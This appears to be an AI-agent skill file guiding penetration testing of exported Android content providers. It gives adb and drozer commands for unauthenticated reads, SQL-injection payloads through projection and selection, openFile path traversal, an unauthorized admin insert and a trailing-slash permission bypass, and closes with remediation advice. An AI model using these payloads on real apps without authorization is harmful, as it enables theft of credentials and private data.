--- name: android-content-provider-exploitation description: "Exploit exported Android content providers — unauthenticated reads, projection/selection SQL injection, openFile path traversal (LFI), and permission/trailing-slash bypass — via adb content and drozer scanners. Tier 1. Use for any exported provider. Aligns to OWASP MASTG MASVS-STORAGE/PLATFORM. Payloads: payloads/sqli.md." --- # Android Content Provider Exploitation Exported providers are cross-app data gateways. Test each authority for unauth read/write, SQLi, and file traversal. ## Trigger phrases `content provider, content://, adb content query, provider sqli, provider path traversal, openfile lfi, drozer scanner.provider, grant uri permission` ## Method 1. **Enumerate authorities & URIs:** - `adb shell dumpsys package | grep -i provider` - `drozer> run app.provider.info -a ` - `drozer> run scanner.provider.finduris -a ` 2. **Unauthenticated read:** `adb shell content query --uri content:///Users` 3. **Projection/selection SQLi** (see `${CLAUDE_PLUGIN_ROOT}/payloads/sqli.md`): - `adb shell content query --uri content:///Users --projection "* FROM Credentials--"` - `--where "1=1) UNION SELECT ..."` - `drozer> run scanner.provider.injection -a ` 4. **openFile path traversal (LFI):** - `adb shell content read --uri content:///../../../../../../etc/hosts` - `drozer> run scanner.provider.traversal -a ` 5. **Write:** `adb shell content insert --uri content:///users --bind name:s:admin` 6. **Permission / trailing-slash bypass** (defeats naive path checks): ```java Uri uri = Uri.parse("content:///Keys/////"); getContentResolver().query(uri,null,null,null,null); String[] projection = { "* FROM KEY--;" }; // SQLi via projection ``` ## Modern / rare techniques - **Trailing-slash / path-normalization bypass** of permission or path checks (the `/////` trick above). - **FileProvider `openFile` traversal** into app-private/system files — pair with `android-intent-injection-redirection` to forward a `content://` URI + `FLAG_GRANT_READ_URI_PERMISSION` for cross-app file theft. - **Implicitly-exported providers** on old `targetSdk` (<17) — exported by default, test even without the attribute. ## Bypass / evasion Projection and selection are often the only un-parameterized sink — when `where` is sanitized, pivot to `--projection`; combine encodings and `--` comment terminators per `${CLAUDE_PLUGIN_ROOT}/payloads/sqli.md`. ## Escalation / chaining Full local DB disclosure/modification, arbitrary file read → credential/token theft → `android-backend-api-testing`; file traversal chains with `android-intent-injection-redirection`. ## Backend & tooling Preferred Kali path (native Kali / WSL+Kali / Kali-SSH / Kali-MCP / HexStrike). Needs the user's device/emulator (adb + drozer agent apk). Windows-local last resort. See `zazy-orchestrator`. ## Verification (background, before reporting) Re-confirm each hit independently — rows from an unexposed table on a repeat query, injected SQL changing results, or the actual file contents returned via traversal — before marking CONFIRMED. Use a second tool (drozer scanner vs raw `content`) to corroborate. ## Evidence The provider URI, exact query/payload, and returned rows/file contents (redacted). Remediation: `exported=false`; parameterized queries (no raw projection/selection); canonicalize paths in `openFile`; `signature` perms; drop `grantUriPermission` unless needed.